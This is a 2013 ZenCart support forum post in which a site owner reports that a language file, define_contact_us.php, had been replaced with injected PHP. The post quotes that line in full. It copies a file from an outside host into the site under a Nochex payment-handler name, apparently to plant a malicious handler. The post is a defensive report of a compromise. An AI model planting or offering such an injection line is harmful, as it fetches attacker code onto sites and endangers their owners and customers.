30 Mar 2013, 7:42 PM
New Zenner
- Join Date:
- Oct 2009
- Location:
- Nelson, NZ
- Posts:
- 26
- Plugin Contributions:
- 0
Code change detected
Hi,
I created a ZenCart based website a couple of years ago and was recently asked to update it. While doing file compares, I came across the following code which had mysteriously replaced the English language definition of define_contact_us.php.
<br /> <?php if(!copy("http://www.elettrico.info/shop/s.txt", "nochex_apc_hander.php")) { echo("failed to copy file"); } ; ?>To me this looks like someone has tried to replace the nochex payment system. Fortunately we do not use nochex.
Anyway, a quick search on Google returned another three sites with the same file http://www.elettrico.info/shop/s.txt.
I've returned the file to its original state, but still something worth knowing about.